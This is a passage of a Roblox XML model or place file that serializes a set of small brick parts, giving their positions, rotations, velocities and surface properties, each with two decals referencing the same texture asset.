				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1329">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1330">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1331">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-118.375183</X>
					<Y>0.58969301</Y>
					<Z>-104.710571</Z>
					<R00>-0.658338308</R00>
					<R01>0.00224239309</R01>
					<R02>-0.752718806</R02>
					<R10>-1.96126939e-006</R10>
					<R11>0.99999553</R11>
					<R12>0.0029807603</R12>
					<R20>0.752722144</R20>
					<R21>0.00196382497</R21>
					<R22>-0.658335328</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0187104903</X>
					<Y>0.00050168985</Y>
					<Z>0.00641172007</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00254222751</X>
					<Y>-0.012048264</Y>
					<Z>-0.00262026233</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1332">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1333">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1334">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-104.505653</X>
					<Y>0.589891493</Y>
					<Z>-94.3118439</Z>
					<R00>0.926326275</R00>
					<R01>2.55121267e-006</R01>
					<R02>-0.376722157</R02>
					<R10>6.6704315e-006</R10>
					<R11>-1.00000012</R11>
					<R12>9.62986542e-006</R12>
					<R20>-0.376722157</R20>
					<R21>-1.1433297e-005</R21>
					<R22>-0.926326394</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0150562404</X>
					<Y>-1.39926058e-007</Y>
					<Z>0.0214650687</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000886539638</X>
					<Y>-0.00462511089</Y>
					<Z>-0.00229332712</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1335">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1336">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1337">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-108.069832</X>
					<Y>0.591148019</Y>
					<Z>-96.7089767</Z>
					<R00>-0.644653022</R00>
					<R01>-5.36093648e-005</R01>
					<R02>-0.764475226</R02>
					<R10>3.13275959e-005</R10>
					<R11>1</R11>
					<R12>-9.65430881e-005</R12>
					<R20>0.764475226</R20>
					<R21>-8.61859662e-005</R21>
					<R22>-0.644653022</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0369712561</X>
					<Y>0.000114472707</Y>
					<Z>0.0221037138</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000368764246</X>
					<Y>-0.00163701281</Y>
					<Z>0.000468555663</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1338">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1339">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1340">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-109.073242</X>
					<Y>0.590907872</Y>
					<Z>-92.5428009</Z>
					<R00>-0.319646001</R00>
					<R01>4.47570892e-005</R01>
					<R02>0.947537065</R02>
					<R10>-4.21151526e-005</R10>
					<R11>-1</R11>
					<R12>3.3027889e-005</R12>
					<R20>0.947537065</R20>
					<R21>-2.93484354e-005</R21>
					<R22>0.319646001</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0245934296</X>
					<Y>0.00096202956</Y>
					<Z>0.0220166482</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0024987841</X>
					<Y>-0.00231803767</Y>
					<Z>-0.00233985623</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1341">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1342">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1343">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-103.572495</X>
					<Y>0.589889705</Y>
					<Z>-91.6374054</Z>
					<R00>-0.771501541</R00>
					<R01>-3.19182014e-008</R01>
					<R02>-0.636227429</R02>
					<R10>-1.3028523e-006</R10>
					<R11>1</R11>
					<R12>1.52969574e-006</R12>
					<R20>0.636227429</R20>
					<R21>2.00907311e-006</R21>
					<R22>-0.771501541</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0115414094</X>
					<Y>-7.86536134e-008</Y>
					<Z>0.0116196759</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00183237449</X>
					<Y>0.00137747952</Y>
					<Z>0.00128263759</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1344">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1345">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1346">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-104.834213</X>
					<Y>0.589890599</Y>
					<Z>-88.4453049</Z>
					<R00>-0.934716642</R00>
					<R01>6.28582256e-006</R01>
					<R02>-0.355393827</R02>
					<R10>6.23592723e-006</R10>
					<R11>1</R11>
					<R12>1.28589079e-006</R12>
					<R20>0.355393827</R20>
					<R21>-1.01426656e-006</R21>
					<R22>-0.934716642</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00969759189</X>
					<Y>0.00298452051</Y>
					<Z>-0.0255648531</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00651070289</X>
					<Y>-0.00336506986</Y>
					<Z>-0.00258073234</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1347">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1348">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1349">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-102.708046</X>
					<Y>0.589846075</Y>
					<Z>-87.1156387</Z>
					<R00>-0.464792699</R00>
					<R01>-5.92532888e-005</R01>
					<R02>-0.885419548</R02>
					<R10>2.90743774e-005</R10>
					<R11>1</R11>
					<R12>-8.21834619e-005</R12>
					<R20>0.885419607</R20>
					<R21>-6.39412974e-005</R21>
					<R22>-0.464792699</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0676001981</X>
					<Y>-0.00682615954</Y>
					<Z>6.83132021e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00748572499</X>
					<Y>-0.00988739822</Y>
					<Z>0.00555314729</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1350">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1351">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1352">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-103.156456</X>
					<Y>0.788295269</Y>
					<Z>-88.2787323</Z>
					<R00>-0.464820981</R00>
					<R01>-0.386916131</R01>
					<R02>-0.796390116</R02>
					<R10>4.42772907e-005</R10>
					<R11>0.899454474</R11>
					<R12>-0.43701449</R12>
					<R20>0.885404646</R20>
					<R21>-0.203168795</R21>
					<R22>-0.418068171</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.032014817</X>
					<Y>-0.00711375009</Y>
					<Z>0.00744206691</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00524546579</X>
					<Y>0.00445417268</Y>
					<Z>-7.69573307e-005</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1353">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1354">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1355">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-97.9226685</X>
					<Y>0.591081738</Y>
					<Z>-85.793251</Z>
					<R00>-0.543432772</R00>
					<R01>-0.000170722487</R01>
					<R02>0.839452684</R02>
					<R10>-0.000145894606</R10>
					<R11>-0.99999994</R11>
					<R12>-0.00029782069</R12>
					<R20>0.839452684</R20>
					<R21>-0.000284317153</R21>
					<R22>0.543432713</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0248145685</X>
					<Y>0.00257966085</Y>
					<Z>-0.0146386344</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00258886372</X>
					<Y>-0.00484368019</Y>
					<Z>-0.00400684588</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1356">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1357">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1358">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-100.206703</X>
					<Y>0.589898229</Y>
					<Z>-87.1196213</Z>
					<R00>-0.576502919</R00>
					<R01>-8.47538217e-007</R01>
					<R02>0.817095101</R02>
					<R10>1.18114497e-006</R10>
					<R11>-1</R11>
					<R12>-2.0389885e-007</R12>
					<R20>0.817095101</R20>
					<R21>8.47559477e-007</R21>
					<R22>0.57650286</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0326673761</X>
					<Y>5.41328475e-011</Y>
					<Z>0.0228248034</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000381005812</X>
					<Y>0.00112433382</Y>
					<Z>0.000542057969</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1359">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1360">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1361">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
